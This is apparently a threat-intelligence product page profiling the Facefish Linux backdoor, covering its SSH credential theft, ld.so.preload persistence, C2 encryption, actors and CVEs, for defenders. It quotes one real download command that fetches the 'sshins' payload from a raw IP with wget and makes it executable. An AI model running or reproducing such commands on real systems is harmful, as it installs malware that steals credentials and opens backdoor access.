Loading malware…
Facefish is a Linux backdoor implemented through a user-space rootkit, with separate dropper and rootkit components. It targets x64 Linux systems and includes logic to adapt its rootkit for FreeBSD. The dropper checks architecture and root privileges, installs a shared library, configures system-wide dynamic-linker preloading, and restarts SSH services to load the implant into OpenSSH processes. This provides persistence and enables interception of SSH client and server functions to steal account names, passwords, and remote-host information.
The rootkit transmits stolen credentials to its command-and-control server and collects host information, including processor, architecture, memory, storage, network, and SSH configuration data. Its backdoor functionality supports reverse shells, arbitrary command execution, and renewed host-information collection. Communications use Diffie-Hellman key exchange and Blowfish encryption with session-specific keys. Evasion measures include UPX packing, encrypted configuration data, removal of ELF section information, and randomized configuration encryption that changes the deployed rootkit's hash. Deployment sequences also remove exploitation traces and clear shell history.
Facefish has been deployed following exploitation of Control Web Panel vulnerabilities. Twelve has installed it through a web shell on VMware vCenter after exploiting CVE-2021-21972 and CVE-2021-22005. Modified versions have also been used by Shedding Zmiy, a threat cluster associated with Cobalt/ExCobalt, on compromised Linux infrastructure, including Zimbra servers and municipal systems. These deployments place Facefish within operations targeting Russian government and municipal organizations, although the malware itself does not provide ransomware or destructive wiping functionality.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
2 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
An incident we investigated involved the FaceFish backdoor, loaded with the help of a web shell installed on a VMware vCenter server by exploiting the CVE-2021-21972 and CVE-2021-22005 vulnerabilities in the vSphere virtualization platform. ... the latter is an arbitrary file upload vulnerability in the server. | An incident we investigated involved the FaceFish backdoor, loaded with the help of a web shell installed on a VMware vCenter server by exploiting the CVE-2021-21972 and CVE-2021-22005 vulnerabilities in the vSphere virtualization platform.
An incident we investigated involved the FaceFish backdoor, loaded with the help of a web shell installed on a VMware vCenter server by exploiting the CVE-2021-21972 and CVE-2021-22005 vulnerabilities in the vSphere virtualization platform. The former vulnerability can be found in the platform’s client and allows remote code execution. | An incident we investigated involved the FaceFish backdoor, loaded with the help of a web shell installed on a VMware vCenter server by exploiting the CVE-2021-21972 and CVE-2021-22005 vulnerabilities in the vSphere virtualization platform.
4 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
Modified FaceFish libraries were found at /lib64/libs.so and /usr/lib64/libs.so, with persistence through /etc/ld.so.preload.
Modified FaceFish libraries were found at /lib64/libs.so and /usr/lib64/libs.so, with persistence through /etc/ld.so.preload.
An incident we investigated involved the FaceFish backdoor, loaded with the help of a web shell installed on a VMware vCenter server by exploiting the CVE-2021-21972 and CVE-2021-22005 vulnerabilities in the vSphere virtualization platform.
...prior iterations known as Facefish (February 2021), Kitsune (February 2022), and Megatsune (November 2023).
20 distinct techniques documented for this family, organized by ATT&CK tactic.
Accept command 0x302, reverse shell. | Accept command 0x310, execute any system command Send instruction 0x311 to return the result of bash execution
we discovered a large number of web shells... All the web shells were written in PHP and bore random names
bot sends 0x305 command to C2... receives and decrypts a C2 command, and then disconnects the TCP connection.
the main function is to download the payload of the first stage of execution, and then clean up the traces. cd /usr/bin; /usr/bin/wget http://176.111.174.26/76523y4gjhasd6/sshins; chmod 0777 /usr/bin/sshins;
169 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
6 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Backdoor loaded via a web shell on VMware vCenter; it saves a shared library, injects it into the sshd process using ld.so.preload, and restarts SSH to maintain covert access.
Earlier iteration of the PUMAKIT kernel rootkit lineage.
Named malware represented by numerous hashes for libs.so and artifacts including ssh1200, ssh3600, and sshins. Command logs show ssh3600 being downloaded from eu-debian.com, made executable, run, and deleted. Additional capabilities are not described.
Backdoor dropped after exploitation of VMware vCenter vulnerabilities, used to maintain unauthorized access to victim environments.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.